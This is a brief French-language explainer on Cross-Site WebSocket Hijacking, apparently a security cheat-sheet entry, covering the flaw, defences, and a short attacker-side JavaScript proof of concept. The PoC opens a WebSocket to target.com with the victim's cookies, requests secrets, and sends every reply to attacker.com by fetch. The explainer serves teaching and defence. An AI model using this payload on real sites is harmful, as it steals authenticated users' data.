WebSocket Hijacking — Détournement de WebSocket (CSWSH)

WebSocket CSRF

Principe

Le Cross-Site WebSocket Hijacking exploite l'absence de protection CSRF sur le handshake WebSocket : si l'authentification repose uniquement sur des cookies, un site malveillant peut ouvrir une connexion WS vers la cible au nom de la victime et lire/envoyer des messages.

PoC côté attaquant

// Page hébergée sur evil.com, visitée par la victime authentifiée
var ws = new WebSocket('wss://target.com/socket');
ws.onopen = () => ws.send('{"action":"getSecrets"}');
ws.onmessage = e => fetch('https://attacker.com/log?d='
  + encodeURIComponent(e.data));  // exfiltration

Défenses

Valider l'en-tête Origin sur le handshake, exiger un token anti-CSRF (et pas seulement le cookie de session) pour établir la connexion, et utiliser des tokens d'authentification non automatiquement envoyés par le navigateur.